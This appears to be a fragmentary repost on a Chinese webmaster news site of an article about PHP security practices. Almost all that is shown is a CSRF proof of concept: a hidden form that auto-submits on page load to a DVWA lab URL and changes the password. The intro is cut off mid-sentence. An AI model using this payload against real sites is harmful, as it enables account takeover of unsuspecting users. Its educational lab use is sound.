加入收藏 | 设为首页 | 会员中心 | 我要投稿 威海站长网 (https://www.0631zz.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长资讯 > 评论 > 正文

浅谈PHP安全规范

发布时间:2018-10-15 10:42:58 所属栏目:评论 来源:littlepotato
导读:【新品产上线啦】51CTO播客,随时随地,碎片化学习 一、前言 php因天生支持web应用的开发,以其简单易学,开发效率高而备受喜爱。使其占据了大片的市

隐藏表单的形式

  1. <body onload="javascript:csrf()"> 
  2.   <script> 
  3.   function csrf(){ 
  4.    document.getElementById("button").click(); 
  5.   } 
  6.   </script> 
  7.   <style> 
  8.   form{ 
  9.    display:none; 
  10.   } 
  11.   </style> 
  12.        <form action="http://www.dvwa.com/vulnerabilities/csrf/?" method="GET"> 
  13.            New password:<br /> 
  14.            <input type="password" AUTOCOMPLETE="off" name="password_new" value="test"><br /> 
  15.            Confirm new password:<br /> 
  16.            <input type="password" AUTOCOMPLETE="off" name="password_conf" value="test"><br /> 
  17.            <br /> 
  18.            <input type="submit" id="button" name="Change" value="Change" /> 
  19.        </form> 
  20. /body> 

(编辑:威海站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读